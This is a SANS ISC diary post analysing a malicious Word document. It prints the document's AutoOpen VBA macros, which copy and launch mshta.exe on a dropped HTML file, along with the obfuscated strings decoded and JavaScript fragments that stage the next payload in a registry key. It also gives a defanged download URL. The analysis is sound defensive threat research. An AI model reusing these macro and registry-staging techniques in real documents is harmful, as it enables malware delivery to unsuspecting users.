SANS ISC: Malicious JavaScript Dropping Payload in the Registry

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SANS ISC InfoSec Forums

When we speak about "fileless" malware, it means that the malware does not use the standard filesystem to store temporary files or payloads. But they need to write data somewhere in the system for persistence or during the infection phase. If the filesystem is not used, the classic way to store data is to use the registry. Here is an example of a malicious JavaScript code that uses a temporary registry key to drop its payload (but it also drops files in a classic way).

The malware was delivered via a Microsoft Word document:

remnux@remnux:/malwarezoo/20200327$ oledump.py information_03.26.doc 
A: word/vbaProject.bin
 A1:       576 'PROJECT'
 A2:       104 'PROJECTwm'
 A3: m    1127 'VBA/ThisDocument'
 A4:      3798 'VBA/_VBA_PROJECT'
 A5:      2201 'VBA/__SRP_0'
 A6:       206 'VBA/__SRP_1'
 A7:       348 'VBA/__SRP_2'
 A8:       106 'VBA/__SRP_3'
 A9: M    2319 'VBA/a4bLF'
A10: M    2026 'VBA/acpqnS'
A11: M    2457 'VBA/ajzdY'
A12:       913 'VBA/dir'
A13: m    1171 'VBA/f'
A14:        97 'f/\x01CompObj'
A15:       284 'f/\x03VBFrame'
A16:        86 'f/f'
A17:     37940 'f/o'

Several macros are present and are easy to decode:

Sub AutoOpen()
  main
End Sub

And:

Sub main()
  ajKTO = StrReverse(ae5RXS("e$x$e$.$a$t$h$s$m$\$2$3$m$e$t$s$y$s$\$s$w$o$d$n$i$w$\$:$c$", "$", ""))
  akYREj = StrReverse(aQqnur("m$o$c$.$t$f$o$s$o$r$c$i$m$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", ""))
  aXlTxC = StrReverse(airmZ6("l$m$t$h$.$x$e$d$n$i$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", ""))
  Call VBA.FileCopy(ajKTO, akYREj)
  Set axe16 = f.i
  atk8Jw aXlTxC, axe16.value
  Shell akYREj & " " & aXlTxC
End Sub

The three lines containing StrReverse() are easy to deobfuscate, you just have to remove the '$' characters and reverse the string:

StrReverse(ae5RXS("e$x$e$.$a$t$h$s$m$\$2$3$m$e$t$s$y$s$\$s$w$o$d$n$i$w$\$:$c$", "$", "")) = "c:\windows\system32\mshta.exe"
StrReverse(aQqnur("m$o$c$.$t$f$o$s$o$r$c$i$m$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", "")) = "c:\programdata\microsoft.com"
StrReverse(airmZ6("l$m$t$h$.$x$e$d$n$i$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", "")) = c:\programdata\index.html

The function atk8Jw() dumps the payload:

Public Function atk8Jw(ar9a1t, afn6Jc)
  Open ar9a1t For Output As #1
  Print #1, afn6Jc
  Close #1
End Function

The file index.html is created based on the content of a hidden form in the Word document (called 'f').

The second stage is executed via mshta.exe. This piece of code uses the registry to dump the next stage:

<p id="content">6672613771647572613771646e726137 ...(very long string)... 2613771642972613771643b7261377164</p>
...
var aYASdB = "HKEY_CURRENT_USER\\Software\\soft\\key";
...
aB9lM.RegWrite(aYASdB, a0KxU.innerHTML, "REG_SZ");
...
aUayK = aB9lM.RegRead(aYASdB)
...
aB9lM.RegDelete(aYASdB)

The content is the 'id' HTML element is hex-encoded and obfuscated with garbage characters. Once decoded, we have a new bunch of obfuscated code.

It fetches the next stage from this URL: 

hxxp://his3t35rif0krjkn[.]com/kundru/targen.php?l=swep4.cab

Unfortunately, the file was already removed and I was not able to continue the analyzis...

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key